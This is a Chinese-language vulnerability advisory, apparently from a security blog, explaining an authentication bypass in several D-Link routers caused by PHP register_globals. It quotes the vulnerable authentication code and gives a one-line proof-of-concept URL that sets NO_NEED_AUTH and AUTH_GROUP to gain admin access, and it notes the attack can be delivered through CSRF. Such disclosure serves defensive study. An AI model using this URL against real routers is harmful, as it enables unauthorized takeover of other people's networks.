Multiple D-Link Authentication Bypass Vulnerabilities

漏洞概述

多款基于PHP页面的D-Link路由器存在授权绕过漏洞,允许非授权用户访问和修改路由管理配置。远程用户可通过CSRF发起攻击。

影响产品

DIR-615 revD dir-320 dir-300

漏洞详情

路由器使用PHP的 register_globals特性,使用GET或POST传递参数

默认所有页面接口需要授权后访问,但是如login页面需要在授权前访问,使用PHP变量 NO_NEED_AUTH来标记

<?
/* vi: set sw=4 ts=4: */
$MY_NAME ="login_fail";
$MY_MSG_FILE=$MY_NAME.".php";
$NO_NEED_AUTH="1";
$NO_SESSION_TIMEOUT="1";
require("/www/model/__html_head.php");
?>

__html_head.php请求__auth_check.php文件,存在强制认证

<?
/* vi: set sw=4 ts=4: */
if ($NO_NEED_AUTH!="1")
{
/* for POP up login. */
// require("/www/auth/__authenticate_p.php");
// if ($AUTH_RESULT=="401") {exit;}
/* for WEB based login */
require("/www/auth/__authenticate_s.php");
if($AUTH_RESULT=="401") {require("/www/login.php"); exit;}
if($AUTH_RESULT=="full") {require("/www/session_full.php"); exit;}
if($AUTH_RESULT=="timeout") {require("/www/session_timeout.php"); exit;}
$AUTH_GROUP=fread("/var/proc/web/session:".$sid."/user/group");
}
require("/www/model/__lang_msg.php");
?>

源码中看到,若no_need_auth设置为1,则可实现登录绕过。代码13行,auth_group值设置为0表示管理员。

另外,no_need_auth和auth_group值在其他管理页面并没有设置,基于PHP的register_globals特性,通过设置这两个参数,可以直接获取管理权限,访问web页面。

漏洞POC

http://192.168.0.1/bsc_lan.php?NO_NEED_AUTH=1&AUTH_GROUP=0

攻击方式

可访问web接口的任意用户可以查看并修改管理设置。即便远程用户无法直接访问路由器,也可以通过CSRF漏洞来触发。GET和POST都可以传递参数,HTML页面中一个image tag就可以触发此漏洞。

漏洞影响

路由设备可以在shodan直接搜到,影响使用此设备的企业等

使用PHP的D-Link设备也可能受影响

参考资料

http://www.devttys0.com/wp-content/uploads/2010/12/dlink_php_vulnerability.pdf

您可能还喜欢...